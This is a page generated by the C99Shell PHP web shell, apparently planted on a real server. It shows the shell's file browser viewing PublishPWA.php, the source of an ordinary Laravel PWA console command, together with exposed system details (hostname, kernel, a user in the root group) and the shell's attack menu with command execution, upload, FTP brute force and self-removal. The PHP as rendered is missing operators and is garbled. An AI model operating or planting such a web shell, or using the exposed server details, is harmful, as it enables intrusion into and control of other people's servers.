!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/ladumor/laravel-pwa/src/commands/   drwxr-xr-x
Free 29.08 GB of 117.98 GB (24.65%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PublishPWA.php (2.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Ladumor\LaravelPwa\commands;

use 
Illuminate\Support\Facades\File;
use 
Illuminate\Console\Command;

class 
PublishPWA extends Command
{
    
/**
     * The console command name.
     *
     * @var string
     */
    
protected $name 'laravel-pwa:publish';

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'Publish Service Worker|Offline HTMl|manifest file for PWA application.';

    public 
$composer;

    
/**
     * Create a new command instance.
     */
    
public function __construct()
    {
        
parent::__construct();

        
$this->composer app()['composer'];
    }

    public function 
handle()
    {
        
$publicDir public_path();

        
$manifestTemplate file_get_contents(__DIR__ '/../stubs/manifest.stub');
        
$this->createFile($publicDir DIRECTORY_SEPARATOR'manifest.json'$manifestTemplate);
        
$this->info('manifest.json file is published.');

        
$offlineHtmlTemplate file_get_contents(__DIR__ '/../stubs/offline.stub');
        
$this->createFile($publicDir DIRECTORY_SEPARATOR'offline.html'$offlineHtmlTemplate);
        
$this->info('offline.html file is published.');

        
$swTemplate file_get_contents(__DIR__ '/../stubs/sw.stub');
        
$this->createFile($publicDir DIRECTORY_SEPARATOR'sw.js'$swTemplate);
        
$this->info('sw.js (Service Worker) file is published.');

        
$logoPath $publicDir DIRECTORY_SEPARATOR 'logo.png';
        if (!
file_exists($logoPath)) {
            if (
copy(__DIR__ '/../stubs/logo.png'$logoPath)) {
                
$this->info('Default logo published.');
            }
        }

        
$this->info('Generating autoload files');
        
$this->composer->dumpOptimized();

        
$this->info('Greeting!.. Enjoy PWA site...');
    }

    public static function 
createFile($path$fileName$contents)
    {
        if (!
file_exists($path)) {
            
mkdir($path0755true);
        }

        
$path $path $fileName;

        
file_put_contents($path$contents);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--